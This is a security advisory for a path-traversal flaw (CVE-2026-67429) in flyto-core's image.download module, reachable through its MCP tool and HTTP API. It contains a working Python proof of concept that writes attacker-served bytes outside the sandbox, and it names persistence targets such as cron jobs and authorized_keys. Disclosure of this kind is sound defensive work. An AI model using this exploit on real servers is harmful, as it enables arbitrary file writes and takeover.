CVE-2026-67429: flyto-core Arbitrary File Write via image.download
A path-traversal flaw in flyto-core lets an attacker write any content to any path on the server by pointing image.download at an attacker-controlled URL and passing a root-anchored output_dir…

The problem
flyto-core exposes every registered module as an MCP tool and HTTP API endpoint. The image.download module fetches a caller-supplied URL and writes the response to disk, but it validates the output path against a caller-supplied output_dir base rather than the operator-pinned FLYTO_SANDBOX_DIR.
Because the attacker controls both the target path and the base it is checked against, the os.path.commonpath guard is trivially defeated by passing output_dir='/'. The result is arbitrary bytes (the full HTTP response from an attacker-hosted server) written to any path the process can reach, including cron jobs, shell profiles, authorized_keys, or Python modules on the import path.
Proof of concept
A working proof-of-concept for CVE-2026-67429 in flyto-core, with the exact payload below.
import asyncio, os, tempfile, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"
EVIL = b"#!/bin/sh\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL)))
self.end_headers()
self.wfile.write(EVIL)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(
target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever,
daemon=True
).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # outside the sandbox
# file.write correctly refuses the out-of-sandbox path
# image.download writes attacker bytes there
result = await ModuleRegistry.execute(
"image.download",
params={
"url": "http://localhost:8080/x.jpg",
"output_dir": escape, # attacker sets both base ...
"output_path": target # ... and target: check always passes
},
context={}
)
print(result) # {'ok': True, 'path': '<root>/ESCAPE/pwned', ...}
print(open(target, "rb").read()) # b'#!/bin/sh\necho pwned\n'
asyncio.run(main())The root cause is CWE-73 (External Control of File Name or Path) compounding CWE-22. The commonpath check in download.py is structurally correct, but its security value depends entirely on the base being fixed. Because output_dir is taken directly from caller-supplied params, setting it to / (or to any directory that contains the intended target) always satisfies commonpath([base_real, target_real]) == base_real.
The sibling module file.write avoids this by calling validate_path_with_env_config(), which anchors the base to the operator-set FLYTO_SANDBOX_DIR that the caller cannot influence. The patch applies the same guard to image.download and the other affected file-writing modules (image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word, browser.pagination), replacing per-module output_dir checks with the centralised sandbox guard.
The fix
Upgrade flyto-core to 2.26.7 (patch commit d5f89d71303e3c1e6418d347c5c55fcd173cc8cc). The fix replaces the caller-controlled output_dir confinement in all file-writing modules with a call to validate_path_with_env_config(), which anchors every write to FLYTO_SANDBOX_DIR.
If you cannot upgrade immediately, set FLYTO_SANDBOX_DIR to a tight, operator-controlled directory and ensure no untrusted input reaches output_dir or output_path parameters through MCP or the HTTP API.
Related research
- high · 8.6CVE-2026-67425CVE-2026-67425: flyto-core LLM API Key Exfiltration via Caller-Controlled base_url
- critical · 9.3CVE-2026-67426CVE-2026-67426: flyto-core Unauthenticated SSRF and Runner Secret Exfiltration
- high · 8.5CVE-2026-67428CVE-2026-67428: flyto-core Missing SSRF Guard on HTTP Modules
- high · 8.5CVE-2026-67424CVE-2026-67424: flyto-core SSRF via Unvalidated HTTP Redirect